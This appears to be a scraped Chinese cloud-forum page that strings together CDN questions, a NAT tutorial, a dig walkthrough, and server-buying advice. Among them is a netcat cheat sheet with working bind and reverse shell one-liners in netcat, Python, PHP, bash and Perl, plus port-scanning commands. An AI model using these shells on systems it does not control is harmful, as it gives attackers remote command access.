欢迎各位前往CDN控制台体验！

最近在搭建调优一个视频网站，买了一个华为云香港的服务器，带宽30Mbps，流量包2T，够用且不贵，白天借助cf大善人的免费cdn访问的速度还可以。一到晚上,就很难加载出来。我想着是不是要买个国内的cdn。加速一下。这样是否是最有性价比的解？求助对网站调优的经验的佬。

有两个问题：1、电波以光速传播，这里输入的单位时ns，换算成距离即1e8*1e-9=0.3，观察第三个ue到bs1的距离≈60m，但题目要求横纵坐标都在-10，10之间，是为什么2、输出中前两行是bs2、bs3的预测，文档中对以下案例给的bs2、bs3的结果是(-2, 3) and (7, 9)，但观察下图右边数据，完全找不到对应输出。

华为cdn通过缓存来让速度变快，那么资源文件更新后，缓存多久能同步更新？

CSN在点播行业，如芒果TV是怎么实现加速的？原理是什么

ECS购买时设置的访问策略，如白名单黑名单，会自动同步到CDN吗？还是需要再设置一遍在CDN上

CDN如果被DDOS攻击到瘫痪了，后面用户下载文件会自动切换到ECS去下载吗

使用了CDN后，如果源文件更新了怎么办？需要手动刷新CDN吗

华为云的CDN怎么实现加速的？不买CDN会怎样？

帖子内容最近更新时间  2024-11-07活动商务产品优势产品活动点击前往活动页查看链接CDN最新产品动态了解详情CDN加速效果性能对比了解详情CDN产品介绍了解详情产品特性，优势，场景，客户案例，节点分布等API列表了解详情SDK列表了解详情【官方视频】CDN产品介绍华为云CDN服务优势，使用配置，资源介绍，api接口介绍、常见问题等  >>>点击此处查看【最佳实践】CDN+Nginx(新上线)客户端访问加速域名经过Nginx转发时，如何定期刷新DNS解析 >>>点击此处查看【最佳实践】CDN+函数工作流FunctionGraph(新上线)创建刷新函数，实现定时刷新CDN节点缓存，以保证用户能获取到最新的资源>>>点击此处查看【最佳实践】CDN+OBSCDN缓存OBS桶数据，提升资源下载速度和稳定性，配合使用可节约50%+带宽成本 >>>点击此处查看【最佳实践】CDN+ECSCDN加速ECS资源，降低源站压力，提升静态资源加载质量，配置指导 >>>点击此处查看【最佳实践】CDN+WAF流量由CDN到WAF，WAF再转到源站，实现网站加速、流量检测和攻击拦截 >>>点击此处查看【最佳实践】CDN+云速建站CloudSiteCDN加站点，提高网站的响应速度与网站的可用性，目前仅支持多终端独立企业版 >>>点击此处查看

rt可以考虑创个QQ群 方便用户交流

如图，R1是公司的出口路由器，如果我们希望实现PC1可以访问Internet上的server1，通常是在R1和ISP设备上配置静态路由或者跑动态路由协议，但是运营商的路由器不可能给我们配置，另一个原因就是企业都是使用的是私网地址，运营商在路由器上写了去往所有的私网地址的黑洞路由，所以无法访问的。二、补充公网地址：由运营商分配给用户，不同的站点之间是不可以重复使用，公网地址可以用来上网，使用是付费的私网地址：用户自己规划，不同的站点之间是可以重复使用的，不可以用来上网，使用是免费的要想实现访问server1必须在出口路由器配置NAT（网络地址转换）技术，方能访问NAT也分为几种1. NO-PAT 2. NAPT 3.Easy-IP（一）NO-PAT第一种NAT叫做NO-PAT，地址池转换模。我们需要向运营商购买公网IP地址，也就是购买宽带，企业购买的宽带会比家庭用户的费用会高，因为企业的公网IP地址是静态的，家庭用户的是动态的。购买到的公网IP地址需要配置在NAT地址池中。比如我们向中国电信购买了2个公网IP地址，202.1.1.100-202.1.1.101，那么我们需要把这两个IP地址配置到NAT地址池中除此之外，还需要配置ACL，最后在出口（也就是连接ISP的接口调用）那么这里为什么需要配置ACL呢？在实际环境当中，并不是所有的员工需要上网，因为我们需要通过ACL把不需要上网的流量给筛选掉。这样配置完就可以了上网了但是有一个问题：no-pat是有多少个主机需要上网就需要用掉多少个公网IP地址，如果有100台主机需要上网，那么就需要申请100个公网IP地址，这肯定是不可能的。所以这种NAT现网中用的非常少（二）NAPT第二种NAT叫做NAPT，在转换IP地址的时候一起把传输层的端口号也一起转换了，这样可以实现，即使只有一个公网地址也可以让大量的主机同时上网，因为我们端口号范围是0-65535在配置的时候只需要在后面去掉no-pat这个参数即可，其他配置方式和no-pat一模一样（三）Easy-IP第三种NAT是Easy-IP，上面两种方式有一个共同的特点，那就是需要配置NAT地址池，换言之，需要有额外的公网IP地址，而且还得是静态的，在一些场景下，可能满足不了这个条件。比如说家庭场景或者说小型门店，肯定不会去申请静态的公网IP地址，因为这样费用太高了当这种情况就可以配置Easy-IP了，Easy-IP和NAPT一样，转换IP地址和端口号，适用于没有静态公网地址的场景，像我们的PPPoE就是这一种场景Easy-IP的原理为：在转换地址的时候直接转换出接口的IP地址，因为出口地址也属于公网地址，配置也是很简单当然，也需要和NAPT一样，需要先配置好ACL综上所述三种NAT方式解决的问题是如何让内部主机访问Internet上的主机，反之，要是Internet上的用户想主动访问内部的主机，比如HTTP服务器，该如何实现呢？

参考1：https://blog.csdn.net/mooke/article/details/10580461参考2：cid:link_2参考3：https://www.freebuf.com/sectool/168661.html0x01 功能设置反向和绑定shell，管道和重定向网络流量，端口侦听，调试程序和脚本以及Banner抓取等。0x02 原理从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和udp协议。0x03 使用方式主机间通信A(服务端)netcat -l 10000B(客户端)netcat A的ip 10000单个文件传输客户端的文件名不必与服务端所传输的文件名一致A(服务端)netcat -l 2000 <A.txtB(客户端)netcat A的ip 2000 >B.txt创建远程shell#正向shellA(服务端)netcat -lvp 1000 -e /bin/shB(客户端)netcat A的ip 1000#反向shellA(服务端)netcat B的ip 2000 -e /bin/shB(客户端)netcat -lvp 2000特殊情况(目标机没有netcat)1、python反向shell服务端/目标机终端执行：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("客户端/主机ip",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'客户端/本地主机终端执行：nc -lvp 8888客户端先运行，服务端再运行。2、php反向shell服务端/目标机终端执行：php -r '$sock=fsockopen("客户端/主机ip",8888);exec("/bin/sh -i <&3 >&3 2>&3");'服务端需要php环境客户端/本地主机终端执行：nc -lvp 88883、bash反向shell服务端/目标机终端执行：bash -c 'bash -i >& /dev/tcp/客户端ip/8888 0<&1 2>&1'客户端/本地主机终端执行：nc -lvp 8888注意执行bash -i>＆/dev/tcp/客户端ip地址/8888 0>＆1命令bash反向shell时会出现“不存在xxx目录”的问题。原因：/dev/tcp/host/port 其实是一个 bash 的 feature（特性）；由于是 bash的 feature，因此在别的 shell下就不能生效。解决方式4、perl反向shell服务端/目标机终端执行：perl -e 'use Socket;$i="客户端ip";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'客户端/本地主机终端执行：nc -lvp 8888检测某主机的port1-port2的开放端口及详细信息nc -v -z 主机ip port1-port2本地端口监听并保存监听日志注意监听的端口不要产生冲突nc -l -p 8888 >log.txt连接远程系统nc 目的ip 80ftp匿名探测nc 目的ip 21-g <网关> 设置路由器跃程通信网关，最多可设置8个；-G <指向器数目> 设置来源路由指向器，其数值为4的倍数；-h 在线帮助；-i <延迟秒数> 设置时间间隔，以便传送信息及扫描通信端口；-l 使用监听模式，管控传入的资料；-n 直接使用IP地址，而不通过域名服务器；-o <输出文件> 指定文件名称，把往来传输的数据以16进制字码倾倒成该文件保存；-p <通信端口> 设置本地主机使用的通信端口；-r 乱数指定本地与远端主机的通信端口；-s <来源位址> 设置本地主机送出数据包的IP地址；-u 使用UDP传输协议；-v 显示指令执行过程；-w <超时秒数> 设置等待连线的时间；-z 使用0输入/输出模式，只在扫描通信端口时使用。作者：Hf1dw链接：https://www.jianshu.com/p/e4a4abf15a35来源：简书著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

参考：http://www.ruanyifeng.com/blog/2016/06/dns.html以baidu.com为例root@kali:~# dig baidu.com查询参数和统计###显示 dig 命令的版本和输入的参数。; <<>> DiG 9.11.2-5-Debian <<>> baidu.com;; global options: +cmd###显示服务返回的一些技术详情，比较重要的是 status。如果 status 的值为 NOERROR 则说明本次查询成功结束。;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49934;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 5, ADDITIONAL: 6;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096查询内容###表示查询域名baidu.com的A记录，A是address的缩写。;; QUESTION SECTION:;baidu.com. IN ADNS服务器的答复，表示baidu.com有两个A记录，即两个ip地址；5是TTL值（Time to live 的缩写），表示缓存时间，即5秒之内不用重新查询。###ANSWER SECTION：相应的内容，一般会得到至少一条A记录，否则就还没定义。;; ANSWER SECTION:baidu.com. 5 IN A 220.181.38.148baidu.com. 5 IN A 39.156.69.79baidu.com的NS记录（Name Server的缩写），即哪些服务器负责管理baidu.com的DNS记录。这里共有四条NS记录，即四个域名服务器，向其中任一台查询就能知道baidu.com的IP地址是什么。###AUTHORITY SECTION：授权信息;; AUTHORITY SECTION:baidu.com. 5 IN NS ns3.baidu.com.baidu.com. 5 IN NS ns4.baidu.com.baidu.com. 5 IN NS dns.baidu.com.baidu.com. 5 IN NS ns2.baidu.com.baidu.com. 5 IN NS ns7.baidu.com.上面五个域名服务器的IP地址###ADDITIONAL SECTION：每个授权服务器的IP地址;; ADDITIONAL SECTION:dns.baidu.com. 5 IN A 202.108.22.220ns4.baidu.com. 5 IN A 14.215.178.80ns3.baidu.com. 5 IN A 112.80.248.64ns7.baidu.com. 5 IN A 180.76.76.92ns2.baidu.com. 5 IN A 220.181.33.31DNS服务器的一些传输信息，本机的DNS服务器是192.168.221.2，查询端口是53（DNS服务器的默认端口），以及回应长度是240字节。###本次查询的一些统计信息，比如用了多长时间，查询了哪个 DNS 服务器，在什么时间进行的查询等等。;; Query time: 2 msec;; SERVER: 192.168.221.2#53(192.168.221.2);; WHEN: Mon Oct 21 15:51:21 CST 2019;; MSG SIZE rcvd: 240附加：只查看baidu.com的ip地址dig +short baidu.com作者：Hf1dw链接：https://www.jianshu.com/p/80dd52df2c7c来源：简书著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

如何选择国外服务器？1. 首先选择服务器选择最最主要的一点是看服务商的资质，这一点也是大多数人最容易忽视的地方。IDC行业属于电信增值业务，正规的应该拥有三证，就是所谓的（IDC+ISP+ICP）。2. 除去公司资质外，最主要的是要找到稳定和一手的机房。IDC行业中有很大一部分是通过代理多家资源，然后赚取差价的代理商。虽然代理商所提供的价格和产品方面差别不大，但是代理商最大的问题在于售后。代理商很多都是个人或者一些小的代理公司，所以可能出现购买过产品之后无法及时找到售后或者直接找不到对接人的情况，这种情况也是很常见的问题。3. 服务器能否稳定快速归根到底还是看机房的稳定性，一个稳定的机房才是IDC行业的核心竞争力所在。那么如何判定机房的稳定性呢？一般机房都有自己的等级及规模，等级越高说明机房的安全性(包括温度、湿度、抗震、发电等等这些综合评估)越高。还有就是看机房的地理位置，是否直连骨干网。4. 最后一点就是要看售后服务。IDC行业中很多服务商是没有售后的。这样客户在使用产品过程中遇到问题只能自己摸索，而一旦问题无法解决那么也就说明租的机器只能作为摆设，看着时间一天天减少，所以售后也是IDC选择过程中重中之重，好的售后可以帮助消费者我们解决很多棘手的问题。除了以上需要考虑的点，还有其他的吗？